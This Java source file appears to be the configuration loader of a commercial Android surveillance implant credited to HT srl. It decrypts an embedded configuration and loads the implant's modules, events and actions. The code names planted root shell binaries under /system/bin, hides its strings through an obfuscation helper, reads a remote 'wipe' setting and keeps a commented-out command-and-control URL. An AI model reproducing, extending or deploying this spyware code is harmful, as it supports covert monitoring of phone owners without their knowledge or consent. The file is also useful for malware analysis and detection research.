/* *********************************************
* Create by : Alberto "Q" Pelliccione
* Company : HT srl
* Project : AndroidService
* Created : 01-dec-2010
**********************************************/
package com.android.dvci.conf;
import com.android.dvci.Debug;
import com.android.dvci.GeneralException;
import com.android.dvci.Status;
import com.android.dvci.action.Action;
import com.android.dvci.auto.Cfg;
import com.android.dvci.crypto.EncryptionPKCS5;
import com.android.dvci.crypto.Keys;
import com.android.dvci.util.Check;
import com.android.mm.M;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.json.JSONTokener;
import java.io.File;
/**
* The Class Configuration.
*/
public class Configuration {
/**
* The Constant TASK_ACTION_TIMEOUT.
*/
public static final long TASK_ACTION_TIMEOUT = 600000;
/**
* The Constant MIN_AVAILABLE_SIZE.
*/
public static final long MIN_AVAILABLE_SIZE = 200 * 1024;
// a_0=/system/bin/ntpsvd
public final static String shellFileBase = M.e("/system/bin/ddf"); //$NON-NLS-1$
/**
* Clear configuration buffer wrapped into a ByteBuffer.
*/
// private ByteBuffer wrappedClearConf;
private static final String TAG = "Configuration"; //$NON-NLS-1$
private static final int AGENT_ENABLED = 0x2;
private static final int DIGEST_LEN = 20;
public static String shellFile = M.e("/system/bin/ddf"); //$NON-NLS-1$
public static String oldShellFileBase= M.e("/system/bin/rilcap");
/**
* The status obj.
*/
private final Status status;
/**
* Configuration file embedded into the .apk
*/
private final String jsonResource;
// public static final String SYNC_URL =
// "http://192.168.1.189/wc12/webclient";
// public static final boolean DEBUG = Config.DEBUG;
/**
* Instantiates a new configuration.
*
* @param resource the resource
* @throws GeneralException
*/
public Configuration(final byte[] resource) throws GeneralException {
status = Status.self();
// Decrypt Conf
jsonResource = decryptConfiguration(resource);
}
public Configuration(String jsonConf) throws GeneralException {
status = Status.self();
jsonResource = jsonConf;
}
public static boolean isDebug() {
return Cfg.DEBUG;
}
/**
* Load configuration.
*
* @return true, if successful
* @throws GeneralException the rCS exception
*/
public boolean loadConfiguration(boolean instantiate) {
try {
// Clean old configuration
if (instantiate) {
cleanConfiguration();
}
if (jsonResource == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (loadConfiguration): null json");
}
return false;
}
// Parse and load configuration
return parseConfiguration(instantiate, jsonResource);
} catch (final Exception rcse) {
if (Cfg.EXCEPTION) {
Check.log(rcse);
}
return false;
}
}
/**
* Parses the configuration. k
*
* @throws GeneralException the rCS exception
*/
private boolean parseConfiguration(boolean instantiate, String json) throws GeneralException {
try {
if (Cfg.DEBUG) {
Check.log(TAG + " (parseConfiguration): " + json); //$NON-NLS-1$
}
JSONObject root = (JSONObject) new JSONTokener(json).nextValue();
JSONArray jmodules = root.getJSONArray(M.e("modules")); //$NON-NLS-1$
JSONArray jevents = root.getJSONArray(M.e("events")); //$NON-NLS-1$
JSONArray jactions = root.getJSONArray(M.e("actions")); //$NON-NLS-1$
JSONObject jglobals = root.getJSONObject(M.e("globals")); //$NON-NLS-1$
Visitor.load(jmodules, new LoadModule(instantiate));
Visitor.load(jevents, new LoadEvent(instantiate));
Visitor.load(jactions, new LoadAction(instantiate));
loadGlobals(jglobals, instantiate);
// Debug Check. start //$NON-NLS-1$
Debug.statusActions();
Debug.statusModules();
Debug.statusEvents();
Debug.statusGlobals();
// Debug Check. end //$NON-NLS-1$
return true;
} catch (JSONException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (parseConfiguration) Error: " + e); //$NON-NLS-1$
}
return false;
}
}
private void loadGlobals(JSONObject jglobals, boolean instantiate) throws JSONException {
Globals g = new Globals();
JSONObject jquota = jglobals.getJSONObject(M.e("quota")); //$NON-NLS-1$
g.quotaMin = jquota.getInt(M.e("min")); //$NON-NLS-1$
g.quotaMax = jquota.getInt(M.e("max")); //$NON-NLS-1$
g.wipe = jglobals.getBoolean(M.e("wipe")); //$NON-NLS-1$
g.type = jglobals.getString(M.e("type")); //$NON-NLS-1$
status.setGlobal(g);
}
/**
* Decrypt configuration.
*
* @param rawConf the raw conf
* @return
* @throws GeneralException the rCS exception
*/
private String decryptConfiguration(final byte[] rawConf) throws GeneralException {
/**
* Struttura del file di configurazione
*
* |DWORD|DWORD|DWORD|DATA.....................|CRC| |---Skip----|-Len-|
*
* Le prime due DWORD vanno skippate. La terza DWORD contiene la
* lunghezza del blocco di dati (inclusa la stessa Len) CRC e' il CRC
* (cifrato) dei dati in chiaro, inclusa la DWORD Len
*/
try {
if (rawConf == null) {
throw new GeneralException("conf"); //$NON-NLS-1$
}
// Crypto crypto = new Crypto(Keys.g_ConfKey);
final byte[] confKey = Keys.self().getConfKey();
EncryptionPKCS5 crypto = new EncryptionPKCS5(confKey);
// final Crypto crypto = new Crypto(confKey);
final byte[] clearConf = crypto.decryptDataIntegrity(rawConf);
String json = null;
if (clearConf != null) {
json = new String(clearConf);
}
if (json != null && json.length() > 0) {
// Return decrypted conf
if (Cfg.DEBUG) {
Check.log(TAG + " Configuration is valid");//$NON-NLS-1$
}
return json;
}
return null;
} catch (final SecurityException se) {
if (Cfg.EXCEPTION) {
Check.log(se);
}
if (Cfg.DEBUG) {
Check.log(se);//$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.log(TAG + " SecurityException() detected");//$NON-NLS-1$
}
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(e);//$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.log(TAG + " Exception() detected");//$NON-NLS-1$
}
}
return null;
}
/**
* Clean configuration and status objects.
*/
public void cleanConfiguration() {
// Clean an eventual old initialization
status.clean();
}
abstract static class Visitor {
protected boolean instantiate;
public Visitor(boolean instantiate) {
this.instantiate = instantiate;
}
public static void load(JSONArray jmodules, Visitor visitor) {
int agentTag;
// How many agents we have?
final int num = jmodules.length();
if (Cfg.DEBUG) {
Check.log(TAG + " Number of elements: " + num);//$NON-NLS-1$
}
// Get id, status, parameters length and parameters
for (int i = 0; i < num; i++) {
JSONObject jobject;
try {
jobject = jmodules.getJSONObject(i);
if (Cfg.DEBUG) {
//Check.log(TAG + " (load): " + jobject); //$NON-NLS-1$
}
visitor.call(i, jobject);
} catch (JSONException e1) {
if (Cfg.EXCEPTION) {
Check.log(e1);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (load) Error: " + e1); //$NON-NLS-1$
}
} catch (GeneralException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (load) Error: " + e); //$NON-NLS-1$
}
} catch (ConfigurationException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (load) Error: " + e); //$NON-NLS-1$
}
}
}
}
public abstract void call(int id, JSONObject o) throws ConfigurationException, JSONException, GeneralException;
}
class LoadModule extends Visitor {
public LoadModule(boolean instantiate) {
super(instantiate);
}
public void call(int moduleId, JSONObject params) throws ConfigurationException, GeneralException,
JSONException {
final String moduleType = params.getString(M.e("module")); //$NON-NLS-1$
if (Cfg.DEBUG) {
//Check.log(TAG + " Module: " + moduleType + " Params size: " + params.length());//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
}
if (instantiate) {
final ConfModule a = new ConfModule(moduleType, params);
Status.self().addModule(a);
}
}
}
class LoadEvent extends Visitor {
public LoadEvent(boolean instantiate) {
super(instantiate);
}
public void call(int eventId, JSONObject jmodule) throws JSONException, GeneralException {
if (Cfg.DEBUG) {
Check.requires(jmodule != null, " (call) Assert failed, null jmodule"); //$NON-NLS-1$
}
String eventType = jmodule.getString(M.e("event")); //$NON-NLS-1$
if (Cfg.DEBUG) {
Check.asserts(eventType != null, " (call) Assert failed, null eventType"); //$NON-NLS-1$
}
if (jmodule.has(M.e("type"))) { //$NON-NLS-1$
eventType += " " + jmodule.getString(M.e("type")); //$NON-NLS-1$ //$NON-NLS-2$
}
if (Cfg.DEBUG) {
//Check.log(TAG + " Event: " + eventId + " type: " + eventType + " Params size: " + jmodule.length());//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
}
if (instantiate) {
final ConfEvent e = new ConfEvent(eventId, eventType, jmodule);
Status.self().addEvent(e);
}
}
}
class LoadAction extends Visitor {
public LoadAction(boolean instantiate) {
super(instantiate);
}
public void call(int actionId, JSONObject jaction) throws ConfigurationException, GeneralException,
JSONException {
String desc = jaction.getString(M.e("desc")); //$NON-NLS-1$
final Action a = new Action(actionId, desc);
JSONArray jsubactions = jaction.getJSONArray(M.e("subactions")); //$NON-NLS-1$
int subNum = jsubactions.length();
if (Cfg.DEBUG) {
//Check.log(TAG + " Action " + actionId + " SubActions: " + subNum);//$NON-NLS-1$ //$NON-NLS-2$
}
for (int j = 0; j < subNum; j++) {
JSONObject jsubaction = jsubactions.getJSONObject(j);
final String type = jsubaction.getString(M.e("action")); //$NON-NLS-1$
ConfAction conf = new ConfAction(actionId, j, type, jsubaction);
if (a.addSubAction(conf)) {
if (Cfg.DEBUG) {
//Check.log(TAG + " SubAction " + j + " Type: " + type + " Params Length: " + jsubaction.length());//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
}
}
}
if (Cfg.DEBUG) {
Check.ensures(a.getSubActionsNum() == subNum, "inconsistent subaction number"); //$NON-NLS-1$
}
if (instantiate) {
status.addAction(a);
}
}
}
}